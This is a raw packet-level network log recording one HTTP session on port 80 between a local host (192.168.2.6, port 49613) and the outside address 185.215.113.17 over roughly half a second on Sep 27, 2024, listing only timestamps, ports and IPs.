Sep 27, 2024 16:18:29.691884041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.691894054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.691895008 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.691905975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.691917896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.691926956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.691926956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.691970110 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.691970110 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.692006111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692017078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692029953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692040920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692050934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692060947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692070007 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.692070007 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.692105055 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.692133904 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692203045 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.692246914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692260027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692302942 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.692302942 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.692315102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692326069 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692336082 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692347050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692359924 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.692363977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692390919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.692440987 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.692467928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692485094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692496061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692506075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692516088 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692531109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692542076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.692562103 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.692576885 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.692576885 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.692606926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.693640947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.693658113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.693667889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.693707943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.693718910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.693753004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.693753004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.693764925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.693767071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.693778038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.693870068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.693870068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.693898916 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.693909883 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.693918943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.693929911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.693939924 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.693949938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.693953037 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.693962097 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694005013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694005013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694017887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694027901 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694036961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694047928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694057941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694067955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694142103 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694142103 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694142103 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694154024 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694164991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694175005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694184065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694194078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694200039 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694205999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694236040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694236040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694302082 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694313049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694323063 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694334030 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694344997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694355965 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694359064 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694366932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694371939 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694376945 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694407940 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694411039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694420099 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694422007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694433928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694444895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694457054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694510937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694510937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694510937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694514036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694525003 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694539070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694550991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694571972 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694591999 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694595098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694607019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694617033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694626093 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694634914 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694643974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694689035 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694689035 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694737911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694749117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694760084 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694770098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694780111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694785118 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694796085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694808006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694817066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694819927 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694827080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694838047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694853067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694858074 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694952965 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694952965 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.694981098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.694993973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.695003033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.695014000 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.695024014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.695034027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.695044041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.695055008 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.695056915 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.695056915 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.695069075 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.695092916 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.695099115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.695110083 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.695111036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.695122004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.695130110 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.695139885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.695169926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.695169926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.695209980 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.727066040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.727087021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.727097034 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.727138042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.727138042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.727848053 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.727894068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.727904081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.727910995 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.727950096 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.727955103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.727966070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.727977037 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.727988005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.727988005 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.727999926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.728017092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.728032112 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.728039026 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.728043079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.728049040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.728054047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.728086948 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.728101015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.728111982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.728125095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.728144884 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.728144884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.728144884 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.728183031 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.728207111 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.728240013 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.728250980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.728260994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.728271961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.728281021 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.728282928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.728292942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.728328943 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.728328943 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.837913990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.837934017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.837950945 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.837963104 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.837970018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.837974072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.837980032 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.837990999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838005066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838005066 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838015079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838053942 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838100910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838102102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838113070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838124037 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838134050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838141918 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838150024 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838160038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838170052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838179111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838190079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838196993 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838196993 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838201046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838212013 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838238001 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838238001 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838264942 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838290930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838303089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838320017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838329077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838329077 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838341951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838354111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838376999 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838381052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838392019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838401079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838423014 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838423014 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838437080 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838716030 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838745117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838762045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838764906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838797092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838803053 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838813066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838823080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838891983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838901043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838911057 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838922977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838932037 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838932037 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.838932037 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.838975906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.839003086 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839015007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839025021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839034081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839045048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839049101 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.839061975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839071989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839082003 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839092970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839101076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.839101076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.839102983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839118958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839124918 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.839131117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839147091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839150906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.839184046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839185953 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.839205980 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.839227915 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.839253902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839266062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839276075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839292049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839303017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839309931 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.839309931 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.839313984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839325905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839335918 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839354038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:29.839355946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.839355946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.839404106 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.839404106 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.962855101 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:29.967619896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.196890116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.196902990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.196921110 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.196935892 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.196947098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.196955919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.196999073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197019100 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197201967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197211981 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197222948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197249889 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197258949 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197269917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197279930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197299957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197299957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197302103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197314978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197324991 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197379112 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197388887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197401047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197412968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197441101 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197464943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197475910 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197520018 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197634935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197645903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197657108 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197674990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197725058 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197732925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197752953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197763920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197773933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197784901 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.197802067 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.197802067 CEST	49613	80	192.168.2.6	185.215.113.17
